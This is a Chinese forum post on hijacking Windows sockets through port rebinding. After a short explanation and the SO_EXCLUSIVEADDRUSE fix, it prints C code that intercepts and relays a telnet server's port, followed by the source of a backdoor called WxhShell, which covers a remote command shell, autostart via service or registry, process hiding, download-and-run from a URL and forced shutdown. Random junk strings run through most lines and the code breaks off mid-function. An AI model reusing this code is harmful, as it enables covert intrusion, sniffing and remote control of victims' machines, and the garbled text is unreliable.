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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JL45!+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {.v-  
7Rqjf6kX`O  
  saddr.sin_family = AF_INET; P#-Ye<V~J(  
{SVd='!V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZgVYC4=Q-\  
P#]%C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^noKk6Aaa  
V\r!H>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 | z=:D*uh~  
#G%[4.$n.  
  这意味着什么?意味着可以进行如下的攻击: xhLVLXZ9  
Xn^gxOPM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BR*,E~%  
FWcE\;%yVg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {0 d/;  
oMk6ZzZ,>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *P]FX-D3  
*J,VvO 9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8`l bKV  
H5j6$y|I|N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~'k.'O{  
H`|8x4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,\ [R\s  
Q{1Q w'+@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q]wM WV  
xsn2Qn/P  
  #include E0]B=-  
  #include sw A^oU  
  #include #InuN8sI  
  #include    ZqH.$nXP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6V)P4ao  
  int main() KPc`5X  
  { I(!i"b9  
  WORD wVersionRequested; AlF"1X02  
  DWORD ret; ([\mnL<FC  
  WSADATA wsaData; 8>Az<EF^=#  
  BOOL val; nKpXRuFn\  
  SOCKADDR_IN saddr;  1$nlRQi  
  SOCKADDR_IN scaddr; d^AXhQjQN-  
  int err; ~5S[Sl  
  SOCKET s; \~u7 k  
  SOCKET sc; ,`kag~bZ  
  int caddsize; OI:G~Wg  
  HANDLE mt; t+7|/GLs2  
  DWORD tid;   RN2^=$'.  
  wVersionRequested = MAKEWORD( 2, 2 ); |hHj7X <?k  
  err = WSAStartup( wVersionRequested, &wsaData ); W.u+R?a=  
  if ( err != 0 ) { x -CTMKX  
  printf("error!WSAStartup failed!\n"); (SMnYh4  
  return -1; K[{hh;7  
  } kF{'?R5 w  
  saddr.sin_family = AF_INET; G':wJ7[]`  
   Xm#rkF[,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j~DTvWg<Jl  
o_=t9\:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ITpo:"X g  
  saddr.sin_port = htons(23); \0bao<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jd>ug=~x  
  { 7nsn8WN[  
  printf("error!socket failed!\n"); `4GEq2%  
  return -1; QlxzWd3=q  
  } ] {sx#|_S  
  val = TRUE; R9 +0ZoS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M{(g"ha  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jg)+]r/hS  
  { UQ[!k 6  
  printf("error!setsockopt failed!\n"); UYLCzv~W  
  return -1; TPE1}8p17  
  } &oJ1v<`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kh7RQbNY<I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z8VcV*6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oh^/)2W  
G+5_I"`W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C0O$iWs=  
  { Chso]N.1  
  ret=GetLastError(); 'sII/sq`(  
  printf("error!bind failed!\n"); ,_wpYTl*X  
  return -1; |XGj97#M  
  } ?:$aX@r  
  listen(s,2); 5I`_S Oa!  
  while(1) $l W 7me  
  { ]?un'$%e  
  caddsize = sizeof(scaddr); . .5s 2  
  //接受连接请求 [}+h86:y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \86:f<)P  
  if(sc!=INVALID_SOCKET) D*_Z"q_B  
  { )(/Bw&$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6d;_}  
  if(mt==NULL) > r %:!o  
  { 7=wPd4  
  printf("Thread Creat Failed!\n"); #{8t ?v l  
  break; 7QX p\<7  
  } f,(@K%  
  } oR@emYL  
  CloseHandle(mt); bxc!x>)  
  } =".sCV9"N  
  closesocket(s); LlF|VR&P.  
  WSACleanup(); )x<oRHx]  
  return 0; hY(q@_s  
  }   kJ_XG;8  
  DWORD WINAPI ClientThread(LPVOID lpParam) -s_=4U,  
  { UCBx?9O/0  
  SOCKET ss = (SOCKET)lpParam; K%@#a}kRb  
  SOCKET sc; o4qB0h  
  unsigned char buf[4096]; D:56>%y@  
  SOCKADDR_IN saddr; qmF+@R&^i  
  long num; )e?6 Ncy  
  DWORD val; k:yrh:JhB  
  DWORD ret; ?y|8bw<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]vQU(@+I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p5V.O20  
  saddr.sin_family = AF_INET; D>6vI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /4Sul*{hc  
  saddr.sin_port = htons(23); 8h{;*Wr-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~&7 *<`7{  
  { )J(@e4;Rv  
  printf("error!socket failed!\n"); J,_IHzO~Z  
  return -1; )uK Tf=;  
  } btDPP k'  
  val = 100; 'iikcf*)C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =|O><O|  
  { (@3?JJ]1  
  ret = GetLastError(); dMDSyd<(  
  return -1; p8X$yv  
  } Y{c+/n3d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3IYbgUG  
  { W:y'a3~  
  ret = GetLastError(); _>/OqYR_jQ  
  return -1; J?[}h&otQ  
  } 1vL$k[^&d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z*kZUx7I<  
  { z\6/?5D#v  
  printf("error!socket connect failed!\n"); VK/i5yT5N  
  closesocket(sc); mF@D O$  
  closesocket(ss); nOdAp4{:q%  
  return -1; =G-u "QJ6  
  } kOLS<>.  
  while(1) JNSH'9!n6  
  { Ku<_N]9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 od`:w[2\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -^<`v{}Dn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S X6P>:`  
  num = recv(ss,buf,4096,0); 5%%A2FrB.S  
  if(num>0) HH aerc  
  send(sc,buf,num,0); t.]c44RY  
  else if(num==0) /u N3"m5i  
  break; n 7 m!   
  num = recv(sc,buf,4096,0);  i'NN  
  if(num>0) *l\vqgv.Z  
  send(ss,buf,num,0); ?Ulc`-d  
  else if(num==0) K)n0?Q_>  
  break; ey3;rY1  
  } WA79(B  
  closesocket(ss); `Ef &h V  
  closesocket(sc); \`:LPe  
  return 0 ; :fE*fU@  
  } fP 5!`8  
 {r?qI  
4,g3 c  
========================================================== Zjh9jvsW  
!kg)84C[  
下边附上一个代码,,WXhSHELL TAn.5 wH9t  
iWNTI  
========================================================== $/uNV1 ]o  
DUK.-|a7  
#include "stdafx.h" ofA6EmQ37  
vaEAjg*To<  
#include <stdio.h> sw@* N  
#include <string.h> R(sa.Q\D4  
#include <windows.h> % 1p4K)  
#include <winsock2.h> j']Q-s(s  
#include <winsvc.h> f3]u-e'b  
#include <urlmon.h> k^PqB+P!  
.DkDMg1US  
#pragma comment (lib, "Ws2_32.lib") 7F{=bL  
#pragma comment (lib, "urlmon.lib") Q,A`"e#:  
T\ h_8  
#define MAX_USER   100 // 最大客户端连接数 e[@ ^UY  
#define BUF_SOCK   200 // sock buffer d#eHX|+  
#define KEY_BUFF   255 // 输入 buffer 4IYC;J2L  
#2!M+S  
#define REBOOT     0   // 重启 C4P7,  
#define SHUTDOWN   1   // 关机 ;,h*s, i  
f-tV8  
#define DEF_PORT   5000 // 监听端口 \'L6m1UZ%  
aUy=D:\  
#define REG_LEN     16   // 注册表键长度 ]41G!'E=  
#define SVC_LEN     80   // NT服务名长度 rS 4'@a  
:6z0Ep"  
// 从dll定义API VM3H&$d(h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7=ZB;(`L1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u0J+Nj9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `<>8tZS9"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CW=-@W7  
 1Nk}W!v  
// wxhshell配置信息 GfQP@R"  
struct WSCFG { 7,e=|%7.  
  int ws_port;         // 监听端口 HC8{);  
  char ws_passstr[REG_LEN]; // 口令 '+X9MzU*\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9& W\BQ  
  char ws_regname[REG_LEN]; // 注册表键名 <][|,9mw  
  char ws_svcname[REG_LEN]; // 服务名 QLH s 3eM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V]PTAhc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b}$m!c:<8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rDYq]`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &K^h'>t'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m`9)DsR N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /:e|B;P`k  
,oP-:q!PC  
}; ;:9 x.IkxC  
hpXu3o7e  
// default Wxhshell configuration _uHyE }d  
struct WSCFG wscfg={DEF_PORT, Q$,8yTM  
    "xuhuanlingzhe", cx2s|@u0  
    1, %1HW ) 7  
    "Wxhshell", Sjr(e}*  
    "Wxhshell", {djOU 9]  
            "WxhShell Service", m ]K.0E  
    "Wrsky Windows CmdShell Service", /p>"|z  
    "Please Input Your Password: ", &r<<4J(t  
  1, z4-AOTo2y  
  "http://www.wrsky.com/wxhshell.exe", jd2Fh):q  
  "Wxhshell.exe" r 'jVF'w  
    }; u'K<-U8H  
&9s6p6 eb  
// 消息定义模块 T"d]QYJS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5Ll[vBW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?o.G@-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q]Qgg  
char *msg_ws_ext="\n\rExit."; I;-{#OE,  
char *msg_ws_end="\n\rQuit."; T>uLqd{hH  
char *msg_ws_boot="\n\rReboot..."; Z^fF^3x  
char *msg_ws_poff="\n\rShutdown..."; 9D#PO">|  
char *msg_ws_down="\n\rSave to "; .X2mEnh  
uEi!P2zN  
char *msg_ws_err="\n\rErr!"; ?|hzAF"U  
char *msg_ws_ok="\n\rOK!"; )%tf,3  
6:EO  
char ExeFile[MAX_PATH]; Pucf0 #  
int nUser = 0; N{ 9<Tf*  
HANDLE handles[MAX_USER]; 3mJHk<m8T  
int OsIsNt; ZY/at/v  
x9_ Lt4  
SERVICE_STATUS       serviceStatus; <aHK{ *'3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zIo))L  
Sej$x)Q\t  
// 函数声明 THu a?,oyW  
int Install(void); k2@IJ~  
int Uninstall(void); _>`0!mG  
int DownloadFile(char *sURL, SOCKET wsh); 0Hz3nd?v  
int Boot(int flag); ifgaBXT55  
void HideProc(void); sJ?kp^!g  
int GetOsVer(void); %eah=e  
int Wxhshell(SOCKET wsl); e.jgV=dT-  
void TalkWithClient(void *cs); m|7g{vHVV  
int CmdShell(SOCKET sock); Sc0ZT/Lm  
int StartFromService(void); isd[l-wAmf  
int StartWxhshell(LPSTR lpCmdLine); Z0'3.D,l  
U=yD!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iK#{#ebAoW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aFSZYyPxwv  
Sph+kiy|  
// 数据结构和表定义 ^4fkZh  
SERVICE_TABLE_ENTRY DispatchTable[] = E+2y-B)E  
{ 7uDUZdJy  
{wscfg.ws_svcname, NTServiceMain}, zyR pHM$E  
{NULL, NULL} )3 r1; ^W  
}; lR(&Wc\j  
evs2dz<eA  
// 自我安装 vK{K#{  
int Install(void) *= 71/&B  
{ @<PL  
  char svExeFile[MAX_PATH]; UEeqk"t^  
  HKEY key; Yx%%+c?.   
  strcpy(svExeFile,ExeFile); Ya. $x~  
gky_]7Av  
// 如果是win9x系统,修改注册表设为自启动 4|e#b(!  
if(!OsIsNt) { VO`A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H xlw1(zS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iu[EUi!"  
  RegCloseKey(key); Gs6 #aL}]R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { meL'toaJdQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z~|J"2.  
  RegCloseKey(key); L~$RF {$  
  return 0; (NQ[AypMI  
    } q- Qws0\v.  
  } *O5+?J Z!  
} J53;w:O  
else { ayD\b6Z2.  
^ \?9W  
// 如果是NT以上系统,安装为系统服务 `R> O5Rv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YZ>cE#  
if (schSCManager!=0) 7" [;M  
{ n`,Q:  
  SC_HANDLE schService = CreateService Ae#6=]V+^  
  ( hF~B&^dd.  
  schSCManager, (Gn[T1p?  
  wscfg.ws_svcname, ,fw[J  
  wscfg.ws_svcdisp, xD=D *W  
  SERVICE_ALL_ACCESS, {P-PH$ E-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B`F82_O  
  SERVICE_AUTO_START, l)8V:MK  
  SERVICE_ERROR_NORMAL, 3$8}%?i  
  svExeFile, @_Zx'mTI  
  NULL,  M9K).P=  
  NULL, $ZRN#x@  
  NULL, iV&#5I  
  NULL, m}9V@@  
  NULL eFQi K6`i  
  ); }WbN)  
  if (schService!=0) yLx.*I^6  
  { )9r%% #  
  CloseServiceHandle(schService); 1,T9HpM  
  CloseServiceHandle(schSCManager); qt(:bEr^6b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k)py\  
  strcat(svExeFile,wscfg.ws_svcname); 4AYc 8Z#'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p L@zZK0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6iG<"{/U5  
  RegCloseKey(key); x]oQl^ F  
  return 0; ^wa9zs2s;/  
    } Q /c WV  
  } s%oAsQ_y  
  CloseServiceHandle(schSCManager); aS vE  
} $O'2oeM  
} >U<nEnB$?  
"yTh +=  
return 1; :dN35Y]a  
} \bic.0-  
*BsDHq-F~  
// 自我卸载 P(epG?Qg  
int Uninstall(void) zD^f%p ["#  
{ Vb^s 'k  
  HKEY key; IWqxT?*  
(QSWb>np  
if(!OsIsNt) { @/~k8M/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \GvY`kt3  
  RegDeleteValue(key,wscfg.ws_regname); Qz+d[%Q}x  
  RegCloseKey(key); `^L<db^A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -]\E}Ti  
  RegDeleteValue(key,wscfg.ws_regname); N&APqT  
  RegCloseKey(key); I ~L Q1 _  
  return 0; SU O;  
  } :ECK $Cu  
} +?Jk@lE<  
} o U}t'WU  
else { xd fvme[  
#)A?PO2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fslk7RlSKg  
if (schSCManager!=0) @ P"`=BU&  
{ HwW[M[qA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fsJTwSI["  
  if (schService!=0) /;nO<X:XV  
  { `s83r hs`!  
  if(DeleteService(schService)!=0) { RO$ @>vL  
  CloseServiceHandle(schService); '%-xe3  
  CloseServiceHandle(schSCManager); i %hn  
  return 0; \kV7NA  
  } O\?5#.   
  CloseServiceHandle(schService); 39T&c85  
  } +z(,A  
  CloseServiceHandle(schSCManager); O&gwr  
} !qXq y}?w  
}  %*5g<5  
?X_0Iy}1  
return 1; xeYySM=  
} Ec*--]j*c  
jO&f*rxN  
// 从指定url下载文件 oa&US_  
int DownloadFile(char *sURL, SOCKET wsh) 9(^X2L&Z  
{ z<[.MH`ln  
  HRESULT hr; h"BhTx7E}  
char seps[]= "/"; W}R=  
char *token; oj^5G ]_ <  
char *file; /R(U>pZ  
char myURL[MAX_PATH]; U)`3[fo  
char myFILE[MAX_PATH]; R5NRCI  
yToT7 X7F7  
strcpy(myURL,sURL); ##`;Eh0a  
  token=strtok(myURL,seps); h2/dhp  
  while(token!=NULL) yo?g"vbE  
  { Y1yXB).AH8  
    file=token; b#Fk>j  
  token=strtok(NULL,seps); @dE 3  
  } Nn,vdu{^2  
vbWJhj K0h  
GetCurrentDirectory(MAX_PATH,myFILE); ,WO%L~db  
strcat(myFILE, "\\"); f>s#Ngvc  
strcat(myFILE, file); 6z p@#vYI  
  send(wsh,myFILE,strlen(myFILE),0); yRq8;@YGY  
send(wsh,"...",3,0); r>@ B+Xi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]xJ'oBhy  
  if(hr==S_OK) de=5=>P7  
return 0; u,Q_WR-wJ  
else ^B<PD]  
return 1; =#.8$oa^  
]} 5I>l  
} I*+LJy;j  
V(lK`dY  
// 系统电源模块 r|\5'ZMx  
int Boot(int flag) t3  uB  
{ w!B,kqTG  
  HANDLE hToken; ,`%k'ecN  
  TOKEN_PRIVILEGES tkp; @sB}q 6>  
Z9J =vzsHE  
  if(OsIsNt) { 1kvPiV=X>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5bF9I H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~!3t8Hx6  
    tkp.PrivilegeCount = 1; AQnJxIL:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @b ::6n/u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ny!lj a5[  
if(flag==REBOOT) { IL+#ynC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w2uRN?  
  return 0; ==-7F3QP  
} (!3Yc:~RE  
else { $I)Tk`=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3t"~F%4-}  
  return 0; oglXW8  
} RMS.1:O  
  } ;_?zB NW  
  else { c{'$=lR "  
if(flag==REBOOT) { }|Hw0zP.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i63`B+L{  
  return 0; 8~&F/C*  
} c*S#UD+  
else { 4)z3X\u|Z2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -,K*~ z.l  
  return 0; Ek"YM[  
} u4Y6B ]Q  
} qO:U]\P  
otWo^CE$  
return 1; E@5zd@[  
} cwH,l$  
4&FNU)tt  
// win9x进程隐藏模块 >%iu!H"  
void HideProc(void) L0X&03e=e:  
{ ?Ia4H   
paq8L{R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  4 "pS  
  if ( hKernel != NULL ) q Axf5  
  { #t"9TP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KcIc'G 9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (/T +Wpy?  
    FreeLibrary(hKernel); c+szU}(f6(  
  } ]h #WkcXQ  
r:fwrC  
return; H/cs_i  
} 20 jrv'f  
{ M`  
// 获取操作系统版本 N+*(Y5TU  
int GetOsVer(void) &tlR~?$e*  
{ /'-:=0a  
  OSVERSIONINFO winfo; er(8}]X8Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z `\# $  
  GetVersionEx(&winfo); y\[L?Rmd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .[edln  
  return 1; 5|yZEwq  
  else b cC\  
  return 0; Ly^E& ,)  
} jFgZ}Xp  
 ]a78tTi  
// 客户端句柄模块 5?^]1P_  
int Wxhshell(SOCKET wsl) t@X M /=d  
{ Zk wJ.SuU  
  SOCKET wsh; =fY lzZh  
  struct sockaddr_in client; V78Mq:7d  
  DWORD myID; .?A'6  
!?yxh/>lM  
  while(nUser<MAX_USER) DG_}9M!DW@  
{ g<M0|eX@~  
  int nSize=sizeof(client); w#W5}i&x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6(:)otz  
  if(wsh==INVALID_SOCKET) return 1; 6!*K/2:O  
fW(;   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !$xzA X,  
if(handles[nUser]==0) 1Pu ,:Jt  
  closesocket(wsh); O\%j56Bf  
else x<8\-  
  nUser++; Lt>?y& CcQ  
  } ggMUdlU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n1_ %Td  
]OUD5T  
  return 0; Mk<m6E$L  
} ki#y&{v9Be  
SzRL}}I  
// 关闭 socket t/A:k  
void CloseIt(SOCKET wsh) $$42pb.  
{ yj>) {NcX  
closesocket(wsh); &.hoC Po$  
nUser--; fH&zR#T7U4  
ExitThread(0); W^wd ([  
} o.v2z~V  
yz2(_@R  
// 客户端请求句柄 \Ph]*%  
void TalkWithClient(void *cs) n>n"{!  
{ ehU"*9  
se!g4XEWD  
  SOCKET wsh=(SOCKET)cs; /=bSt  
  char pwd[SVC_LEN]; 9w zwY[{  
  char cmd[KEY_BUFF]; [@g~  
char chr[1]; Vfb<o"BQk  
int i,j; P7'M],!9w  
>;m{{nj  
  while (nUser < MAX_USER) { _'&k#Q  
O!/ekU|,r  
if(wscfg.ws_passstr) { |l$ u<3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1p~5h(jI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D_Guc8*  
  //ZeroMemory(pwd,KEY_BUFF); ,eDu$8J9  
      i=0; r-*l1([eW  
  while(i<SVC_LEN) { O 3G:0xF  
k2pT1QZnt  
  // 设置超时 3<+z46`?  
  fd_set FdRead; f7ZA837Un  
  struct timeval TimeOut; <W?WUF  
  FD_ZERO(&FdRead); 'bl%Y).9w  
  FD_SET(wsh,&FdRead); /Ad6+cY  
  TimeOut.tv_sec=8; 2g0K76=Co:  
  TimeOut.tv_usec=0; NfOp=X?Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f*v1J<1#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SijS5irfk  
mLQUcYfR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); loLKm]yV  
  pwd=chr[0]; / xs9.w8-  
  if(chr[0]==0xd || chr[0]==0xa) { j|k @MfA  
  pwd=0; (xbIUz.  
  break; J,9%%S8/C  
  } eJW[ ]!  
  i++; Jb9F=s+  
    } V +.Q0$~F5  
YlrB@mE0n$  
  // 如果是非法用户,关闭 socket oikxg!0S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BO]=vH  
} [#>{4qY2  
JS PW>W"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8nodV 9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ms,@t^nk  
Vli3>K&  
while(1) { P sp^@  
vkuc8 li  
  ZeroMemory(cmd,KEY_BUFF); [1Uz_HY["3  
xb]o dYGdW  
      // 自动支持客户端 telnet标准   fy`+Efuj  
  j=0; H}B2A"  
  while(j<KEY_BUFF) { z|Ap\[GS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LZ4xfB (  
  cmd[j]=chr[0]; `/0u{[  
  if(chr[0]==0xa || chr[0]==0xd) { 4QO/ff[ o  
  cmd[j]=0; SD^E7W$?  
  break; JCNk\@0i*  
  } e$ 32  
  j++; ifvU"l  
    } :6zC4Sr^  
)d:K:YXt  
  // 下载文件 8<{;=m8cQ  
  if(strstr(cmd,"http://")) { dHq#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2uEhOi0I  
  if(DownloadFile(cmd,wsh)) Fe5jdV<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |/*pT1(&  
  else TW2Z=ks=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [g`,AmR\!  
  } %Ci^*zb  
  else { L{<7.?{Y  
E23w *']  
    switch(cmd[0]) { JtFiFaCxY  
  iE=P'"I  
  // 帮助 P:^=m*d  
  case '?': { `.[ 8$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SY|Ez!tU:N  
    break; vtZ?X';wh  
  } kZv*rWAm  
  // 安装 pqH4w(;  
  case 'i': { 5uttv:@=  
    if(Install()) YmgCl!r@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ami09JHy  
    else J.W Ho c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M J\r 4n  
    break; y?Onb 3%  
    } F"[3c6yF  
  // 卸载 rREzM)GA  
  case 'r': { g|4w8ry  
    if(Uninstall()) E(;i>   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H-2_j  
    else rVcBl4&1*g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `kPc!I7Y  
    break; ul=7>";=|  
    } u7#z^r  
  // 显示 wxhshell 所在路径 ]F+K|X9-  
  case 'p': { G0/>8_Q>Nr  
    char svExeFile[MAX_PATH]; 'hF@><sqk  
    strcpy(svExeFile,"\n\r"); :XYy7xz<  
      strcat(svExeFile,ExeFile); :,^>d3k  
        send(wsh,svExeFile,strlen(svExeFile),0); c3#q0Ma  
    break; 'evv,Q{87  
    } Uouq>N  
  // 重启 -TS? fne)  
  case 'b': { hfv%,,e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3e 73l  
    if(Boot(REBOOT)) OpQ8\[X+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e T-9  
    else { NnOI:X {  
    closesocket(wsh); + Kk@Q  
    ExitThread(0); !M^\f N1  
    } v ): V  
    break; OD|1c6+X  
    } l;0y-m1  
  // 关机 7=3O^=Q ^Q  
  case 'd': { Ow)R|/e /  
